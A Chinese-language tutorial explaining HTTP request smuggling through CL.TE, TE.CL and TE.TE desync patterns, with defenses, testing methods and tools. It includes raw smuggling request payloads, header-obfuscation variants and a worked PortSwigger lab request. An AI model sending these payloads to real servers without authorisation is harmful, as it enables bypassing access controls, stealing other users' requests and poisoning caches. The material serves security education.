重温HTTP请求走私漏洞成因及利用细节
字数 1783 2025-08-20 18:17:53
HTTP请求走私漏洞详解与利用
1. HTTP请求走私概述
HTTP请求走私(HTTP Request Smuggling)是一种干扰网站处理HTTP请求序列的技术,允许攻击者绕过安全控制、获取敏感数据并危害其他应用程序用户。
关键特性:
- 主要与HTTP/1请求相关,但某些HTTP/2实现也可能受影响
- 利用前端(负载均衡/反向代理)与后端服务器对请求边界解析的差异
- 通常涉及Content-Length和Transfer-Encoding头的冲突
2. 漏洞产生背景
现代Web应用架构特点:
- 用户请求先到达前端服务器(负载均衡/反向代理)
- 前端通过同一连接将多个请求转发到后端服务器
- 需要明确界定请求之间的边界
漏洞产生原因:
- 前端与后端对请求结束位置的判断不一致
- HTTP/1规范提供了两种指定消息结束的方式(Content-Length和Transfer-Encoding)
- 当两种方式同时存在且服务器处理方式不同时,可能导致请求走私
3. 核心概念解析
3.1 Content-Length头
- 指定消息体的字节长度
- 示例:
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
3.2 Transfer-Encoding头
- 指定消息体使用分块编码(chunked)
- 格式:块大小(十六进制) + 换行 + 块内容 + 终止块(0)
- 示例:
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b
q=smuggling
0
4. 攻击类型与模式
4.1 CL.TE模式
- 前端使用Content-Length,后端使用Transfer-Encoding
- 攻击示例:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
- 前端:认为请求体长度为13字节(包括
0\r\n\r\n) - 后端:处理分块编码,
0表示结束,SMUGGLED被当作下一个请求
4.2 TE.CL模式
- 前端使用Transfer-Encoding,后端使用Content-Length
- 攻击示例:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
- 前端:处理分块编码,完整请求
- 后端:只读取3字节(
8\r\n),剩余内容被当作下一个请求
4.3 TE.TE模式
- 前后端都支持Transfer-Encoding,但可通过混淆诱导其中一方不处理
- 混淆技术包括:
- Transfer-Encoding: xchunked
- Transfer-Encoding : chunked
- Transfer-Encoding: chunked Transfer-Encoding: x
- Transfer-Encoding:[tab]chunked
- [空格]Transfer-Encoding: chunked
- X: X[\n]Transfer-Encoding: chunked
- Transfer-Encoding
: chunked
5. 实际攻击案例
5.1 CL.TE靶场示例
靶场地址:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
目标:通过GPOST方法请求后端服务器(前端只允许GET/POST)
攻击请求:
POST / HTTP/1.1
Host: target-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
解释:
- 前端使用Content-Length:6 → 读取
0\r\n\r\nG - 后端使用Transfer-Encoding →
0表示结束,G被当作下个请求开始 - 下一个请求变为
POST /,导致请求走私
6. 防御措施
- 禁用后端连接的重用
- 对HTTP请求使用严格验证
- 在前端服务器上规范化请求
- 在反向代理中禁用Transfer-Encoding头
- 确保所有服务器使用相同协议版本
- 在负载均衡器上配置拒绝有歧义的请求
7. 测试方法
- 识别前端与后端服务器
- 测试对Transfer-Encoding头的处理差异
- 尝试各种混淆技术
- 观察响应时间差异(可能表明请求排队)
- 使用时间延迟技术检测漏洞
8. 高级利用技术
- 获取其他用户请求
- 绕过安全控制
- 反射型XSS升级为存储型
- 缓存投毒
- 权限提升
- 基于时间的攻击
9. 工具与资源
- Burp Suite (手动切换HTTP/1.1协议)
- smuggler.py (自动化测试工具)
- HTTP Request Smuggler (Burp扩展)
- PortSwigger的Web安全学院靶场
10. 注意事项
- 测试时可能影响其他用户
- 某些攻击可能导致服务中断
- 浏览器默认使用HTTP/2,测试时需手动切换到HTTP/1.1
- 漏洞利用可能违反法律,仅限授权测试